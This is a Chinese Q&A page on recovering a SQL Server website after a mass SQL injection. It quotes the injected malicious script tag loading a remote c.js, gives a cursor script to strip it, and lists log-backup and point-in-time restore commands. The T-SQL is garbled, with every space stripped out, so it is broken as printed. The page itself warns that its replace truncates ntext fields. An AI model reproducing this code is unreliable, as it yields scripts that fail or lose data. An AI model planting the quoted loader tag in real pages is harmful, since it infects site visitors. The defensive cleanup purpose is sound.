当前位置:首页 » 编程语言 » jssql注入

jssql注入

发布时间: 2025-01-01 14:43:15

1. 网站数据库sql注入后应该怎么办

之前做过了一个网站,由于没有对页面参数进行验证,挂上去没多长时间就被人挂马了,数据库的每个表每个字段内容里都被注入了一段代码,什么在数据库中还新建了自己的表,真是太嚣张了,但是这么多内容是不可能手动去删除的,解决过程如下

一、首先删除数据库被注入的代码

如统一删除<script src=http://3b3.org/c.js> </script> (此适用于sql server)

DECLAREhCForEachCURSORGLOBAL
FOR
SELECTN'update'+QUOTENAME(o.name)
+N'set'+QUOTENAME(c.name)+N'=replace(CAST('+QUOTENAME(c.name)+'asvarchar(8000)),''<scriptsrc=http://3b3.org/c.js></script>'','''')'
FROMsysobjectso,syscolumnsc,systypest
WHEREo.id=c.id
ANDOBJECTPROPERTY(o.id,N'IsUserTable')=1
ANDc.xusertype=t.xusertype
AND(t.name='varchar'ort.name='ntext')
EXECsp_MSforeach_Worker@command1=N'?'

注意这样删除之后 ntext字段将被截断成8000个字符 导致数据丢失,当然其实在sql注入之前这种字段属性已经被截断了,所以在删除这些之后还要进行数据恢复但是 网站被挂马往往是随机的不知道什么时候 我们可能没有做及时的备份,无法恢复

这时候我们可以考虑从数据库日志进行恢复

1,如果误操作之前存在一个全库备份(或已有多个差异备份或增量备份),首先要做的事就是进进行一次日志备份(如果为了不让日志文件变大而置trunc. log on chkpt.选项为1那你就死翘了)

backuplogdbNametodisk='fileName'

2,恢复一个全库备份,注意需要使用with norecovery,如果还有其他差异或增量备份,则逐个恢复

restoredatabasedbNamefromdisk='fileName'withnorecovery

3,恢复最后一个日志备份即刚做的日志备份,指定恢复时间点到误操作之前的时刻

restorelogdbNamefromdisk='fileName'
withstopat='date_time'

最后就是把网站的漏洞补上 对参数进行过滤

热点内容
数据库inner 发布:2025-03-11 01:06:55 浏览:899
ice解压 发布:2025-03-11 00:54:50 浏览:378
网址批量访问 发布:2025-03-11 00:40:38 浏览:750
粉红视频脚本 发布:2025-03-11 00:39:56 浏览:445
服务器名称或ip从哪里看 发布:2025-03-11 00:35:44 浏览:492
日本细菌战数据库 发布:2025-03-11 00:29:34 浏览:424
钓鱼直播用什么配置 发布:2025-03-11 00:28:39 浏览:416
高配置服务器搭建虚拟机集群 发布:2025-03-11 00:27:18 浏览:370
在线印刷源码 发布:2025-03-11 00:25:06 浏览:719
python矩阵转置函数 发布:2025-03-11 00:22:53 浏览:549